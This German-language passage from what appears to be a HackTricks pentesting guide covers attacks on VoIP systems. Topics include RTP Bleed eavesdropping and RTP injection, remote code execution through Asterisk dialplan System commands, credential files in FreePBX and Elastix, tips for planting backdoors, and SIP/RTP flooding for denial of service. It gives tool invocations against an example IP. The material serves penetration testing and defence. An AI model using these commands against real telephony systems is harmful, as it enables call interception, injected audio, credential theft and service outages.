RTP-Proxys versuchen, die **NAT-Beschränkungen** bei RTC-Systemen zu bewältigen, indem sie RTP-Streams zwischen zwei oder mehr Parteien proxyen. Wenn NAT vorhanden ist, kann die RTP-Proxy-Software oft nicht auf die RTP-IP- und Portinformationen vertrauen, die über die Signalisierung (z. B. SIP) abgerufen werden. Daher haben eine Reihe von RTP-Proxys einen Mechanismus implementiert, bei dem solche **IP- und Port-Tupel automatisch erlernt werden**. Dies geschieht oft durch Inspektion des eingehenden RTP-Traffics und Markierung der Quell-IP und des Ports für jeden eingehenden RTP-Traffic als diejenigen, auf die geantwortet werden soll. Dieser Mechanismus, der als "Lernmodus" bezeichnet werden kann, **verwendet keine Art von Authentifizierung**. Daher können **Angreifer** RTP-Traffic an den RTP-Proxy **senden** und den für den Anrufer oder Empfänger eines laufenden RTP-Streams bestimmten proxied RTP-Traffic empfangen. Wir nennen diese Schwachstelle RTP Bleed, weil sie es Angreifern ermöglicht, RTP-Mediadatenströme zu empfangen, die für legitime Benutzer bestimmt sind.
|
|
|
|
Ein weiteres interessantes Verhalten von RTP-Proxys und RTP-Stacks ist, dass sie manchmal, **auch wenn sie nicht anfällig für RTP Bleed sind**, RTP-Pakete von jeder Quelle **akzeptieren, weiterleiten und/oder verarbeiten**. Daher können Angreifer RTP-Pakete senden, die es ihnen ermöglichen, ihre Medien anstelle der legitimen einzuspeisen. Wir nennen diesen Angriff RTP-Injection, weil er das Einspeisen von nicht legitimen RTP-Paketen in bestehende RTP-Streams ermöglicht. Diese Schwachstelle kann sowohl in RTP-Proxys als auch in Endpunkten gefunden werden.
|
|
|
|
Asterisk und FreePBX haben traditionell die **`NAT=yes`-Einstellung** verwendet, die es RTP-Traffic ermöglicht, die Authentifizierung zu umgehen und möglicherweise zu keinem Audio oder einseitigem Audio bei Anrufen führt.
|
|
|
|
Weitere Informationen finden Sie unter [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
|
|
|
* **`rtpbleed.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** Es erkennt die RTP Bleed-Schwachstelle durch Senden von RTP-Streams.
|
|
```bash
|
|
python3 rtpbleed.py -i 10.10.0.10
|
|
```
|
|
* **`rtcpbleed.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** Es erkennt die RTP-Bleed-Schwachstelle, indem es RTP-Streams sendet.
|
|
```bash
|
|
python3 rtcpbleed.py -i 10.10.0.10
|
|
```
|
|
* **`rtpbleedflood.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** Nutzen Sie die RTP-Bleed-Schwachstelle, um RTP-Streams zu senden.
|
|
```bash
|
|
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
|
|
```
|
|
* **`rtpbleedinject.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** Nutzen Sie die RTP Bleed-Schwachstelle, um RTP-Streams (aus einer Audiodatei) zu senden.
|
|
```bash
|
|
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
|
|
```
|
|
### RCE
|
|
|
|
In Asterisk gelingt es Ihnen auf irgendeine Weise, **Erweiterungsregeln hinzuzufügen und sie neu zu laden** (zum Beispiel durch Kompromittierung eines anfälligen Web-Manager-Servers). Es ist möglich, RCE mithilfe des **`System`**-Befehls zu erreichen.
|
|
```scss
|
|
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
|
```
|
|
Es gibt einen Befehl namens **`Shell`**, der anstelle von `System` verwendet werden kann, um bei Bedarf Systembefehle auszuführen.
|
|
|
|
{% hint style="warning" %}
|
|
Wenn der Server die Verwendung bestimmter Zeichen im `System`-Befehl verbietet (wie bei Elastix), überprüfen Sie, ob der Webserver das Erstellen von Dateien im System auf irgendeine Weise zulässt (wie bei Elastix oder trixbox), und verwenden Sie es, um ein Backdoor-Skript zu erstellen und dann `System` zu verwenden, um dieses Skript auszuführen.
|
|
{% endhint %}
|
|
|
|
#### Interessante lokale Dateien und Berechtigungen
|
|
|
|
* **`sip.conf`** -> Enthält das Passwort der SIP-Benutzer.
|
|
* Wenn der **Asterisk-Server als Root ausgeführt wird**, können Sie Root übernehmen.
|
|
* Der **MySQL-Root-Benutzer** hat möglicherweise kein Passwort.
|
|
* Dies kann verwendet werden, um einen neuen MySQL-Benutzer als Backdoor zu erstellen.
|
|
* **`FreePBX`**
|
|
* **`amportal.conf`** -> Enthält das Passwort des Webpanel-Administrators (FreePBX).
|
|
* **`FreePBX.conf`** -> Enthält das Passwort des Benutzers FreePBXuser, der zum Zugriff auf die Datenbank verwendet wird.
|
|
* Dies kann verwendet werden, um einen neuen MySQL-Benutzer als Backdoor zu erstellen.
|
|
* **`Elastix`**
|
|
* **`Elastix.conf`** -> Enthält mehrere Passwörter im Klartext, wie das MySQL-Root-Passwort, das IMAPd-Passwort und das Webadmin-Passwort.
|
|
* **Mehrere Ordner** gehören dem kompromittierten Asterisk-Benutzer (wenn er nicht als Root ausgeführt wird). Dieser Benutzer kann auf die zuvor genannten Dateien zugreifen und die Konfiguration steuern. Daher könnte er Asterisk dazu bringen, beim Ausführen andere Backdoor-Binärdateien zu laden.
|
|
|
|
### RTP-Injektion
|
|
|
|
Es ist möglich, eine **`.wav`**-Datei in Gespräche einzufügen, indem Tools wie **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) und **`rtpmixsound`** (`sudo apt install rtpmixsound`) verwendet werden.
|
|
|
|
Alternativ können Sie die Skripte von [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) verwenden, um Gespräche zu scannen (**`rtpscan.pl`**), eine `.wav` an ein Gespräch zu senden (**`rtpsend.pl`**) und Lärm in ein Gespräch einzufügen (**`rtpflood.pl`**).
|
|
|
|
### DoS
|
|
|
|
Es gibt mehrere Möglichkeiten, einen DoS-Angriff auf VoIP-Server zu versuchen.
|
|
|
|
* **`sipflood.py`** von [**sippts**](https://github.com/Pepelux/sippts)**: **_**SipFlood**_ sendet unbegrenzt Nachrichten an das Ziel.
|
|
* `python3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v`
|
|
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS-Angriff auf das von Asterisk verwendete IAX-Protokoll.
|
|
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Ein Tool zum Durchführen von SIP/SDP INVITE-Nachrichtenflutungen über UDP/IP.
|
|
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Senden mehrerer korrekt formatierter RTP-Pakete. Es ist erforderlich, die verwendeten RTP-Ports zu kennen (zuerst sniffen).
|
|
* [**SIPp**](https://github.com/SIPp/sipp): Ermöglicht die Analyse und Generierung von SIP-Verkehr. Kann auch für DoS-Angriffe verwendet werden.
|
|
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP-Schweizer Taschenmesser. Kann ebenfalls für SIP-Angriffe verwendet werden.
|
|
* Fuzzer: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
|
* **`sipsend.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** SIPSend ermöglicht das Senden einer **angepassten SIP-Nachricht** und die Analyse der Antwort.
|
|
* **`wssend.py`** von [**sippts**](https://github.com/Pepelux/sippts)**:** WsSend ermöglicht das Senden einer angepassten SIP-Nachricht über WebSockets und die Analyse der Antwort.
|
|
|
|
### OS-Schwachstellen
|
|
|
|
Der einfachste Weg, eine Software wie Asterisk zu installieren, besteht darin, eine OS-Distribution herunterzuladen, bei der sie bereits installiert ist, z. B. **FreePBX, Elastix, Trixbox**... Das Problem dabei ist, dass Sysadmins, sobald es funktioniert, möglicherweise keine Updates mehr durchführen und im Laufe der Zeit Schwachstellen entdeckt werden.
|
|
|
|
## Referenzen
|
|
|
|
* [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki)
|
|
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
|
|
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
|
|
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
|
|
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|